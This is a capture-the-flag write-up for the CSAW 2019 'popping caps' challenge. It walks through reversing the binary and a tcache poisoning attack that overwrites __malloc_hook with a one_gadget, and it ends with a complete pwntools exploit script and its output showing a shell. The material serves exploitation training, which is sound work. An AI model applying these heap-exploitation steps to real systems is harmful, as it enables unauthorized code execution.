popping caps 0
Let's take a look at the binary and libc:
$ pwn checksec popping_caps
[*] '/Hackery/pod/modules/44-more_tcache/csaw19_popping_caps1/popping_caps'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ file popping_caps
popping_caps: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0b94b47318011a2516372524e7aaa0caeda06c79, not stripped
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$ /popping_caps
Here is system 0x7f8dfb387fd0
You have 7 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
First off we are dealing with libc version 2.27
(so we get to use the tcache). This binary has all of the standard mitigations except for RELRO. When we run it, we get a libc infoleak, and have the ability to malloc, free, and write.
Reversing
When we take a look at the main function in Ghidra, we see this:
undefined8 main(void)
{
ulong choice;
size_t size;
long number;
long idk;
void *ptr;
void *ptrCopy;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
printf("Here is system %p\n",system);
idk = 7;
ptr = (void *)0x0;
ptrCopy = (void *)0x0;
while (idk != 0) {
printf("You have %llu caps!\n",idk);
puts("[1] Malloc");
puts("[2] Free");
puts("[3] Write");
puts("[4] Bye");
puts("Your choice: ");
choice = read_num();
if (choice == 2) {
puts("Whats in a free: ");
number = read_num();
free((void *)((long)ptr + number));
if (ptr == ptrCopy) {
ptrCopy = (void *)0x0;
}
}
else {
if (choice < 3) {
if (choice == 1) {
puts("How many: ");
size = read_num();
ptr = malloc(size);
ptrCopy = ptr;
}
}
else {
if (choice == 3) {
puts("Read me in: ");
read(0,ptrCopy,8);
}
else {
if (choice == 4) {
bye();
}
}
}
}
puts("BANG!");
idk = idk + -1;
}
bye();
return 0;
}
So we can see a few things here. First we can allocate a chunk of a particular size, which is then stored in ptrCopy
and ptr
. Proceeding that, we can also scan in 0x8
bytes into the address pointed to by ptrCopy
. Also the free works by us providing an offset to ptr
, which is then freed. After we free it zeroes out ptrCopy
, but not ptr
. So after we free once, we will have to allocate another chunk before we can do another write. Also we don’t see any simple way of getting another infoleak.
Also one other important thing, we only get 7
actions (with an action being a read, write, or free). After that bye
is run which the program calls malloc
and exit
:
void bye(void)
{
fwrite(&DAT_00100d04,1,4,stdout);
malloc(0x38);
/* WARNING: Subroutine does not return */
exit(0);
}
Exploitation
So for exploiting this code, we will be attacking the tcache. Particularly where the tcache stores the beginning of the various linked lists that makes up the tcache, and the corresponding counts. This is stored in a chunk at the beginning of the heap. For a better understanding of this, let's take a look at it:
gef➤ vmmap
Start End Offset Perm Path
0x000056054637b000 0x000056054637c000 0x0000000000000000 r-x /home/guyinatuxedo/Desktop/popping/popping_caps
0x000056054657c000 0x000056054657d000 0x0000000000001000 rw- /home/guyinatuxedo/Desktop/popping/popping_caps
0x0000560548324000 0x0000560548345000 0x0000000000000000 rw- [heap]
0x00007f1e4b9c3000 0x00007f1e4bbaa000 0x0000000000000000 r-x /home/guyinatuxedo/Desktop/popping/libc.so.6
0x00007f1e4bbaa000 0x00007f1e4bdaa000 0x00000000001e7000 --- /home/guyinatuxedo/Desktop/popping/libc.so.6
0x00007f1e4bdaa000 0x00007f1e4bdae000 0x00000000001e7000 r-- /home/guyinatuxedo/Desktop/popping/libc.so.6
0x00007f1e4bdae000 0x00007f1e4bdb0000 0x00000000001eb000 rw- /home/guyinatuxedo/Desktop/popping/libc.so.6
0x00007f1e4bdb0000 0x00007f1e4bdb4000 0x0000000000000000 rw-
0x00007f1e4bdb4000 0x00007f1e4bddb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f1e4bfd9000 0x00007f1e4bfdb000 0x0000000000000000 rw-
0x00007f1e4bfdb000 0x00007f1e4bfdc000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f1e4bfdc000 0x00007f1e4bfdd000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f1e4bfdd000 0x00007f1e4bfde000 0x0000000000000000 rw-
0x00007ffc5924c000 0x00007ffc5926d000 0x0000000000000000 rw- [stack]
0x00007ffc593ce000 0x00007ffc593d1000 0x0000000000000000 r-- [vvar]
0x00007ffc593d1000 0x00007ffc593d2000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x/100g 0x0000560548324000
0x560548324000: 0x0 0x251
0x560548324010: 0x0 0x0
0x560548324020: 0x0 0x0
0x560548324030: 0x0 0x0
0x560548324040: 0x0 0x0
0x560548324050: 0x0 0x0
0x560548324060: 0x0 0x0
0x560548324070: 0x0 0x0
0x560548324080: 0x0 0x0
0x560548324090: 0x0 0x0
0x5605483240a0: 0x0 0x0
0x5605483240b0: 0x0 0x0
0x5605483240c0: 0x0 0x0
0x5605483240d0: 0x0 0x0
0x5605483240e0: 0x0 0x0
0x5605483240f0: 0x0 0x0
0x560548324100: 0x0 0x0
0x560548324110: 0x0 0x0
0x560548324120: 0x0 0x0
0x560548324130: 0x0 0x0
0x560548324140: 0x0 0x0
0x560548324150: 0x0 0x0
0x560548324160: 0x0 0x0
0x560548324170: 0x0 0x0
0x560548324180: 0x0 0x0
0x560548324190: 0x0 0x0
0x5605483241a0: 0x0 0x0
0x5605483241b0: 0x0 0x0
0x5605483241c0: 0x0 0x0
0x5605483241d0: 0x0 0x0
0x5605483241e0: 0x0 0x0
0x5605483241f0: 0x0 0x0
0x560548324200: 0x0 0x0
0x560548324210: 0x0 0x0
0x560548324220: 0x0 0x0
0x560548324230: 0x0 0x0
0x560548324240: 0x0 0x0
0x560548324250: 0x0 0x91
0x560548324260: 0x0 0x0
0x560548324270: 0x0 0x0
0x560548324280: 0x0 0x0
0x560548324290: 0x0 0x0
0x5605483242a0: 0x0 0x0
0x5605483242b0: 0x0 0x0
0x5605483242c0: 0x0 0x0
0x5605483242d0: 0x0 0x0
0x5605483242e0: 0x0 0x20d21
0x5605483242f0: 0x0 0x0
0x560548324300: 0x0 0x0
0x560548324310: 0x0 0x0
So we can see the chunk we were talking about the beginning, with a size of 0x251
. We can also see another chunk we allocated at 0x560548324250
with the size 0x91
. Let's free it and have it inserted into the tcache:
gef➤ x/100g 0x0000560548324000
0x560548324000: 0x0 0x251
0x560548324010: 0x100000000000000 0x0
0x560548324020: 0x0 0x0
0x560548324030: 0x0 0x0
0x560548324040: 0x0 0x0
0x560548324050: 0x0 0x0
0x560548324060: 0x0 0x0
0x560548324070: 0x0 0x0
0x560548324080: 0x0 0x560548324260
0x560548324090: 0x0 0x0
0x5605483240a0: 0x0 0x0
0x5605483240b0: 0x0 0x0
0x5605483240c0: 0x0 0x0
0x5605483240d0: 0x0 0x0
0x5605483240e0: 0x0 0x0
0x5605483240f0: 0x0 0x0
0x560548324100: 0x0 0x0
0x560548324110: 0x0 0x0
0x560548324120: 0x0 0x0
0x560548324130: 0x0 0x0
0x560548324140: 0x0 0x0
0x560548324150: 0x0 0x0
0x560548324160: 0x0 0x0
0x560548324170: 0x0 0x0
0x560548324180: 0x0 0x0
0x560548324190: 0x0 0x0
0x5605483241a0: 0x0 0x0
0x5605483241b0: 0x0 0x0
0x5605483241c0: 0x0 0x0
0x5605483241d0: 0x0 0x0
0x5605483241e0: 0x0 0x0
0x5605483241f0: 0x0 0x0
0x560548324200: 0x0 0x0
0x560548324210: 0x0 0x0
0x560548324220: 0x0 0x0
0x560548324230: 0x0 0x0
0x560548324240: 0x0 0x0
0x560548324250: 0x0 0x91
0x560548324260: 0x0 0x0
0x560548324270: 0x0 0x0
0x560548324280: 0x0 0x0
0x560548324290: 0x0 0x0
0x5605483242a0: 0x0 0x0
0x5605483242b0: 0x0 0x0
0x5605483242c0: 0x0 0x0
0x5605483242d0: 0x0 0x0
0x5605483242e0: 0x0 0x20d21
0x5605483242f0: 0x0 0x0
0x560548324300: 0x0 0x0
0x560548324310: 0x0 0x0
So we can see a pointer to the freed chunk (which is now in the tcache) ended up in the upper chunk. We also see the corresponding byte for that count of the linked list associated with chunks of that size has been incremented. So for how we will start off by allocating a chunk of size 0x3b0
:
gef➤ x/100g 0x0000560eee9a5000
0x560eee9a5000: 0x0 0x251
0x560eee9a5010: 0x0 0x0
0x560eee9a5020: 0x0 0x0
0x560eee9a5030: 0x0 0x0
0x560eee9a5040: 0x0 0x0
0x560eee9a5050: 0x0 0x0
0x560eee9a5060: 0x0 0x0
0x560eee9a5070: 0x0 0x0
0x560eee9a5080: 0x0 0x0
0x560eee9a5090: 0x0 0x0
0x560eee9a50a0: 0x0 0x0
0x560eee9a50b0: 0x0 0x0
0x560eee9a50c0: 0x0 0x0
0x560eee9a50d0: 0x0 0x0
0x560eee9a50e0: 0x0 0x0
0x560eee9a50f0: 0x0 0x0
0x560eee9a5100: 0x0 0x0
0x560eee9a5110: 0x0 0x0
0x560eee9a5120: 0x0 0x0
0x560eee9a5130: 0x0 0x0
0x560eee9a5140: 0x0 0x0
0x560eee9a5150: 0x0 0x0
0x560eee9a5160: 0x0 0x0
0x560eee9a5170: 0x0 0x0
0x560eee9a5180: 0x0 0x0
0x560eee9a5190: 0x0 0x0
0x560eee9a51a0: 0x0 0x0
0x560eee9a51b0: 0x0 0x0
0x560eee9a51c0: 0x0 0x0
0x560eee9a51d0: 0x0 0x0
0x560eee9a51e0: 0x0 0x0
0x560eee9a51f0: 0x0 0x0
0x560eee9a5200: 0x0 0x0
0x560eee9a5210: 0x0 0x0
0x560eee9a5220: 0x0 0x0
0x560eee9a5230: 0x0 0x0
0x560eee9a5240: 0x0 0x0
0x560eee9a5250: 0x0 0x3b1
0x560eee9a5260: 0x0 0x0
0x560eee9a5270: 0x0 0x0
0x560eee9a5280: 0x0 0x0
0x560eee9a5290: 0x0 0x0
0x560eee9a52a0: 0x0 0x0
0x560eee9a52b0: 0x0 0x0
0x560eee9a52c0: 0x0 0x0
0x560eee9a52d0: 0x0 0x0
0x560eee9a52e0: 0x0 0x0
0x560eee9a52f0: 0x0 0x0
0x560eee9a5300: 0x0 0x0
0x560eee9a5310: 0x0 0x0
Proceeding that, we will free that chunk. This will insert a pointer to it as the head of the linked list for it's idx, and increment the corresponding count:
gef➤ x/100g 0x0000560eee9a5000
0x560eee9a5000: 0x0 0x251
0x560eee9a5010: 0x0 0x0
0x560eee9a5020: 0x0 0x0
0x560eee9a5030: 0x0 0x0
0x560eee9a5040: 0x0 0x100
0x560eee9a5050: 0x0 0x0
0x560eee9a5060: 0x0 0x0
0x560eee9a5070: 0x0 0x0
0x560eee9a5080: 0x0 0x0
0x560eee9a5090: 0x0 0x0
0x560eee9a50a0: 0x0 0x0
0x560eee9a50b0: 0x0 0x0
0x560eee9a50c0: 0x0 0x0
0x560eee9a50d0: 0x0 0x0
0x560eee9a50e0: 0x0 0x0
0x560eee9a50f0: 0x0 0x0
0x560eee9a5100: 0x0 0x0
0x560eee9a5110: 0x0 0x0
0x560eee9a5120: 0x0 0x0
0x560eee9a5130: 0x0 0x0
0x560eee9a5140: 0x0 0x0
0x560eee9a5150: 0x0 0x0
0x560eee9a5160: 0x0 0x0
0x560eee9a5170: 0x0 0x0
0x560eee9a5180: 0x0 0x0
0x560eee9a5190: 0x0 0x0
0x560eee9a51a0: 0x0 0x0
0x560eee9a51b0: 0x0 0x0
0x560eee9a51c0: 0x0 0x0
0x560eee9a51d0: 0x0 0x0
0x560eee9a51e0: 0x0 0x0
0x560eee9a51f0: 0x0 0x0
0x560eee9a5200: 0x0 0x0
0x560eee9a5210: 0x0 0x560eee9a5260
0x560eee9a5220: 0x0 0x0
0x560eee9a5230: 0x0 0x0
0x560eee9a5240: 0x0 0x0
0x560eee9a5250: 0x0 0x3b1
0x560eee9a5260: 0x0 0x0
0x560eee9a5270: 0x0 0x0
0x560eee9a5280: 0x0 0x0
0x560eee9a5290: 0x0 0x0
0x560eee9a52a0: 0x0 0x0
0x560eee9a52b0: 0x0 0x0
0x560eee9a52c0: 0x0 0x0
0x560eee9a52d0: 0x0 0x0
0x560eee9a52e0: 0x0 0x0
0x560eee9a52f0: 0x0 0x0
0x560eee9a5300: 0x0 0x0
0x560eee9a5310: 0x0 0x0
As you can see, the 0x1
for the idx maps to the byte 0x560eee9a5049
. This also happens to make for a perfect fake chunk header with size 0x100
. Next we will free the fake chunk we just created, which will insert it into the tcache. Also the reason why we choose that spot, is the linked list pointers will begin at 0x560eee9a5050
, which we will be able to write to:
gef➤ x/100g 0x0000560eee9a5000
0x560eee9a5000: 0x0 0x251
0x560eee9a5010: 0x0 0x1000000000000
0x560eee9a5020: 0x0 0x0
0x560eee9a5030: 0x0 0x0
0x560eee9a5040: 0x0 0x100
0x560eee9a5050: 0x0 0x0
0x560eee9a5060: 0x0 0x0
0x560eee9a5070: 0x0 0x0
0x560eee9a5080: 0x0 0x0
0x560eee9a5090: 0x0 0x0
0x560eee9a50a0: 0x0 0x0
0x560eee9a50b0: 0x0 0x0
0x560eee9a50c0: 0x560eee9a5050 0x0
0x560eee9a50d0: 0x0 0x0
0x560eee9a50e0: 0x0 0x0
0x560eee9a50f0: 0x0 0x0
0x560eee9a5100: 0x0 0x0
0x560eee9a5110: 0x0 0x0
0x560eee9a5120: 0x0 0x0
0x560eee9a5130: 0x0 0x0
0x560eee9a5140: 0x0 0x0
0x560eee9a5150: 0x0 0x0
0x560eee9a5160: 0x0 0x0
0x560eee9a5170: 0x0 0x0
0x560eee9a5180: 0x0 0x0
0x560eee9a5190: 0x0 0x0
0x560eee9a51a0: 0x0 0x0
0x560eee9a51b0: 0x0 0x0
0x560eee9a51c0: 0x0 0x0
0x560eee9a51d0: 0x0 0x0
0x560eee9a51e0: 0x0 0x0
0x560eee9a51f0: 0x0 0x0
0x560eee9a5200: 0x0 0x0
0x560eee9a5210: 0x0 0x560eee9a5260
0x560eee9a5220: 0x0 0x0
0x560eee9a5230: 0x0 0x0
0x560eee9a5240: 0x0 0x0
0x560eee9a5250: 0x0 0x3b1
0x560eee9a5260: 0x0 0x0
0x560eee9a5270: 0x0 0x0
0x560eee9a5280: 0x0 0x0
0x560eee9a5290: 0x0 0x0
0x560eee9a52a0: 0x0 0x0
0x560eee9a52b0: 0x0 0x0
0x560eee9a52c0: 0x0 0x0
0x560eee9a52d0: 0x0 0x0
0x560eee9a52e0: 0x0 0x0
0x560eee9a52f0: 0x0 0x0
0x560eee9a5300: 0x0 0x0
0x560eee9a5310: 0x0 0x0
As we can see here, the chunk 0x560eee9a5050
has been inserted into the tcache. Next we will allocate it with malloc:
gef➤ x/100g 0x0000560eee9a5000
0x560eee9a5000: 0x0 0x251
0x560eee9a5010: 0x0 0x0
0x560eee9a5020: 0x0 0x0
0x560eee9a5030: 0x0 0x0
0x560eee9a5040: 0x0 0x100
0x560eee9a5050: 0x0 0x0
0x560eee9a5060: 0x0 0x0
0x560eee9a5070: 0x0 0x0
0x560eee9a5080: 0x0 0x0
0x560eee9a5090: 0x0 0x0
0x560eee9a50a0: 0x0 0x0
0x560eee9a50b0: 0x0 0x0
0x560eee9a50c0: 0x0 0x0
0x560eee9a50d0: 0x0 0x0
0x560eee9a50e0: 0x0 0x0
0x560eee9a50f0: 0x0 0x0
0x560eee9a5100: 0x0 0x0
0x560eee9a5110: 0x0 0x0
0x560eee9a5120: 0x0 0x0
0x560eee9a5130: 0x0 0x0
0x560eee9a5140: 0x0 0x0
0x560eee9a5150: 0x0 0x0
0x560eee9a5160: 0x0 0x0
0x560eee9a5170: 0x0 0x0
0x560eee9a5180: 0x0 0x0
0x560eee9a5190: 0x0 0x0
0x560eee9a51a0: 0x0 0x0
0x560eee9a51b0: 0x0 0x0
0x560eee9a51c0: 0x0 0x0
0x560eee9a51d0: 0x0 0x0
0x560eee9a51e0: 0x0 0x0
0x560eee9a51f0: 0x0 0x0
0x560eee9a5200: 0x0 0x0
0x560eee9a5210: 0x0 0x560eee9a5260
0x560eee9a5220: 0x0 0x0
0x560eee9a5230: 0x0 0x0
0x560eee9a5240: 0x0 0x0
0x560eee9a5250: 0x0 0x3b1
0x560eee9a5260: 0x0 0x0
0x560eee9a5270: 0x0 0x0
0x560eee9a5280: 0x0 0x0
0x560eee9a5290: 0x0 0x0
0x560eee9a52a0: 0x0 0x0
0x560eee9a52b0: 0x0 0x0
0x560eee9a52c0: 0x0 0x0
0x560eee9a52d0: 0x0 0x0
0x560eee9a52e0: 0x0 0x0
0x560eee9a52f0: 0x0 0x0
0x560eee9a5300: 0x0 0x0
0x560eee9a5310: 0x0 0x0
Now ptrCopy
points to 0x560eee9a5050
. We will now write to it the address of the malloc hook, which we know from the libc base address:
gef➤ x/100g 0x0000560eee9a5000
0x560eee9a5000: 0x0 0x251
0x560eee9a5010: 0x0 0x0
0x560eee9a5020: 0x0 0x0
0x560eee9a5030: 0x0 0x0
0x560eee9a5040: 0x0 0x100
0x560eee9a5050: 0x7f81fad74c30 0x0
0x560eee9a5060: 0x0 0x0
0x560eee9a5070: 0x0 0x0
0x560eee9a5080: 0x0 0x0
0x560eee9a5090: 0x0 0x0
0x560eee9a50a0: 0x0 0x0
0x560eee9a50b0: 0x0 0x0
0x560eee9a50c0: 0x0 0x0
0x560eee9a50d0: 0x0 0x0
0x560eee9a50e0: 0x0 0x0
0x560eee9a50f0: 0x0 0x0
0x560eee9a5100: 0x0 0x0
0x560eee9a5110: 0x0 0x0
0x560eee9a5120: 0x0 0x0
0x560eee9a5130: 0x0 0x0
0x560eee9a5140: 0x0 0x0
0x560eee9a5150: 0x0 0x0
0x560eee9a5160: 0x0 0x0
0x560eee9a5170: 0x0 0x0
0x560eee9a5180: 0x0 0x0
0x560eee9a5190: 0x0 0x0
0x560eee9a51a0: 0x0 0x0
0x560eee9a51b0: 0x0 0x0
0x560eee9a51c0: 0x0 0x0
0x560eee9a51d0: 0x0 0x0
0x560eee9a51e0: 0x0 0x0
0x560eee9a51f0: 0x0 0x0
0x560eee9a5200: 0x0 0x0
0x560eee9a5210: 0x0 0x560eee9a5260
0x560eee9a5220: 0x0 0x0
0x560eee9a5230: 0x0 0x0
0x560eee9a5240: 0x0 0x0
0x560eee9a5250: 0x0 0x3b1
0x560eee9a5260: 0x0 0x0
0x560eee9a5270: 0x0 0x0
0x560eee9a5280: 0x0 0x0
0x560eee9a5290: 0x0 0x0
0x560eee9a52a0: 0x0 0x0
0x560eee9a52b0: 0x0 0x0
0x560eee9a52c0: 0x0 0x0
0x560eee9a52d0: 0x0 0x0
0x560eee9a52e0: 0x0 0x0
0x560eee9a52f0: 0x0 0x0
0x560eee9a5300: 0x0 0x0
0x560eee9a5310: 0x0 0x0
gef➤ x/g 0x7f81fad74c30
0x7f81fad74c30 <__malloc_hook>: 0x0
Now the head of the linked list for the smallest size idx points to the malloc hook. We will just allocate the chunk, and write to it the address of a oneshot gadget in the libc. Here is the value before the write:
───────────────────────────────────────────────────────────────────── stack ────
0x00007ffe039d1ce0│+0x0000: 0x00007f81fad8a9a0 → <_dl_fini+0> push rbp ← $rsp
0x00007ffe039d1ce8│+0x0008: 0x0000000000000000
0x00007ffe039d1cf0│+0x0010: 0x00007f81fad74c30 → 0x0000000000000000
0x00007ffe039d1cf8│+0x0018: 0x00007f81fad74c30 → 0x0000000000000000
0x00007ffe039d1d00│+0x0020: 0x0000000000000003
0x00007ffe039d1d08│+0x0028: 0x0000560eee9a5050 → 0x0000000000000000
0x00007ffe039d1d10│+0x0030: 0x0000560eed594c80 → push r15 ← $rbp
0x00007ffe039d1d18│+0x0038: 0x00007f81fa9aab97 → <__libc_start_main+231> mov edi, eax
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x560eed594c37 mov edx, 0x8
0x560eed594c3c mov rsi, rax
0x560eed594c3f mov edi, 0x0
→ 0x560eed594c44 call 0x560eed594870
↳ 0x560eed594870 jmp QWORD PTR [rip+0x2009f2] # 0x560eed795268
0x560eed594876 push 0x4
0x560eed59487b jmp 0x560eed594820
0x560eed594880 jmp QWORD PTR [rip+0x2009ea] # 0x560eed795270
0x560eed594886 push 0x5
0x560eed59488b jmp 0x560eed594820
─────────────────────────────────────────────────────── arguments (guessed) ────
0x560eed594870 (
$rdi = 0x0000000000000000,
$rsi = 0x00007f81fad74c30 → 0x0000000000000000,
$rdx = 0x0000000000000008
)
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "popping_caps", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x560eed594c44 → call 0x560eed594870
[#1] 0x7f81fad8a9a0 → push rbp
────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x0000560eed594c44 in ?? ()
gef➤ x/g 0x00007f81fad74c30
0x7f81fad74c30 <__malloc_hook>: 0x0
After the write:
gef➤ x/g 0x00007f81fad74c30
0x7f81fad74c30 <__malloc_hook>: 0x00007f81faa9338c
Also this is how we find the oneshot gadget:
one_gadget libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
After that, our seven actions are called. The function bye
is called which calls malloc, and executes our oneshot gadget, and we get a shell!
Exploit
Putting it all together, we have the following exploit:
from pwn import *
target = process('./popping_caps', env={"LD_PRELOAD":"./libc.so.6"})
#target = remote("pwn.chal.csaw.io", 1001)
libc = ELF("libc.so.6")
#gdb.attach(target, gdbscript = 'pie b *0xc44')
mallocHook = 0x3ebc30
salvation = 0x3ebb90
leak = target.recvuntil("Here is system ")
leak = target.recvline()
leak = leak.strip("\n")
leak = int(leak, 16)
libcBase = leak - libc.symbols["system"]
print "libc base: " + hex(libcBase)
def pl():
print target.recvuntil("Your choice:")
def malloc(x):
pl()
target.sendline("1")
print target.recvuntil("How many:")
target.sendline(str(x))
def write(x):
pl()
target.sendline("3")
print target.recvuntil("Read me in:")
target.send(x)
def free(x):
pl()
target.sendline("2")
print target.recvuntil("Whats in a free:")
target.sendline(str(x))
mallocHook = libcBase + libc.symbols["__malloc_hook"]
salvation = libcBase + salvation
print "malloc hook: " + hex(libcBase + libc.symbols["__malloc_hook"])
print "free hook: " + hex(libcBase + libc.symbols["__free_hook"])
print "salvation: " + hex(salvation)
malloc(0x3a0)
free(0)
free(-528)
malloc(0xf0)
write(p64(mallocHook))
malloc(0x0)
write(p64(libcBase + 0x10a38c))
target.interactive()
When we run it:
$ python exploit.py
[+] Starting local process './popping_caps': pid 3821
[*] '/home/guyinatuxedo/Desktop/popping/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc base: 0x7f08f11fa000
malloc hook: 0x7f08f15e5c30
free hook: 0x7f08f15e78e8
salvation: 0x7f08f15e5b90
You have 7 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
How many:
BANG!
You have 6 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
Whats in a free:
BANG!
You have 5 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
Whats in a free:
BANG!
You have 4 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
How many:
BANG!
You have 3 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
Read me in:
BANG!
You have 2 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
How many:
BANG!
You have 1 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
Read me in:
[*] Switching to interactive mode
BANG!
Bye!$ w
22:34:28 up 21 min, 1 user, load average: 0.03, 0.03, 0.08
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
guyinatu :0 :0 22:13 ?xdm? 26.87s 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
core exploit.py libc.so.6 peda-session-popping_caps.txt popping_caps
$
[*] Interrupted
[*] Stopped process './popping_caps' (pid 3821)
Just like that, we popped a shell!